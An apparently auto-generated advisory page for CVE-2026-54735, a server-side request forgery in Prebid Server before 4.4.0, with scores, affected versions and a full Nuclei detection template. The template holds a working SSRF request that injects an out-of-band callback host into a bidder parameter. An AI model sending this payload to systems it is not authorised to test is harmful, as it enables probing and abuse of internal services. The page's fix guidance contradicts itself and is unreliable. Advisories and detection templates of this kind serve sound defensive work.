VULNpocalypse

CVE-2026-54735: prebid-server’s request forgery vulnerability allows for possible host environment data extraction

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-04 15:41 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Prebid Server is an open-source solution for running real-time advertising auctions in the cloud. Prior to version 4.4.0, certain bidder adapters in Prebid Server interpolate user-supplied parameters into outbound request URLs without properly validating host and subdomain values, allowing crafted bid request parameters to cause server-side requests to unintended destinations and potentially expose internal network services or sensitive server endpoints. This issue is fixed in version 4.4.0.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-07-29).

Weakness: CWE-918: Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer found 2 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 8 references on Exploit Observer

Live scores

EPSS
0.006
low predicted chance of attack
VEDAS
0.987
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei

Who is affected

ProductAffectedNot affected
prebid prebid-serverversion < 4.4.0Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Prebid Server - Unauthenticated Server-Side Request Forgery via Bidder Host Parameter

Prebid Server before 4.4.0 interpolates user-supplied bidder adapter parameters into outbound request URLs without validating host/subdomain values. The ZeroClickFraud adapter builds its endpoint as http://{{.Host}}/openrtb2?sid={{.SourceId}} directly from the request-controlled `host` parameter, so an unauthenticated attacker can make the server issue a request to an arbitrary host (SSRF) by posting a crafted OpenRTB2 auction request to /openrtb2/auction. This template proves the SSRF out-of-band by making the server resolve and request a unique interactsh hostname.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /openrtb2/auction); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-54735.yaml
Show the template (40 lines)
yaml
id: CVE-2026-54735

info:
  name: "Prebid Server - Unauthenticated Server-Side Request Forgery via Bidder Host Parameter"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Prebid Server before 4.4.0 interpolates user-supplied bidder adapter parameters into outbound
    request URLs without validating host/subdomain values. The ZeroClickFraud adapter builds its
    endpoint as http://{{.Host}}/openrtb2?sid={{.SourceId}} directly from the request-controlled
    `host` parameter, so an unauthenticated attacker can make the server issue a request to an
    arbitrary host (SSRF) by posting a crafted OpenRTB2 auction request to /openrtb2/auction.
    This template proves the SSRF out-of-band by making the server resolve and request a unique
    interactsh hostname.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-54735&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=prebid-server&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-54735
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,prebid,prebid-server,ssrf,oast,openrtb

http:
  - raw:
      - |
        POST /openrtb2/auction HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":"vedas","test":1,"tmax":2000,"site":{"page":"https://{{Hostname}}/","publisher":{"id":"1"}},"imp":[{"id":"1","banner":{"format":[{"w":300,"h":250}]},"ext":{"prebid":{"bidder":{"zeroclickfraud":{"host":"{{interactsh-url}}","sourceId":1}}}}}]}
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

CVE-2026-54735.yaml on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

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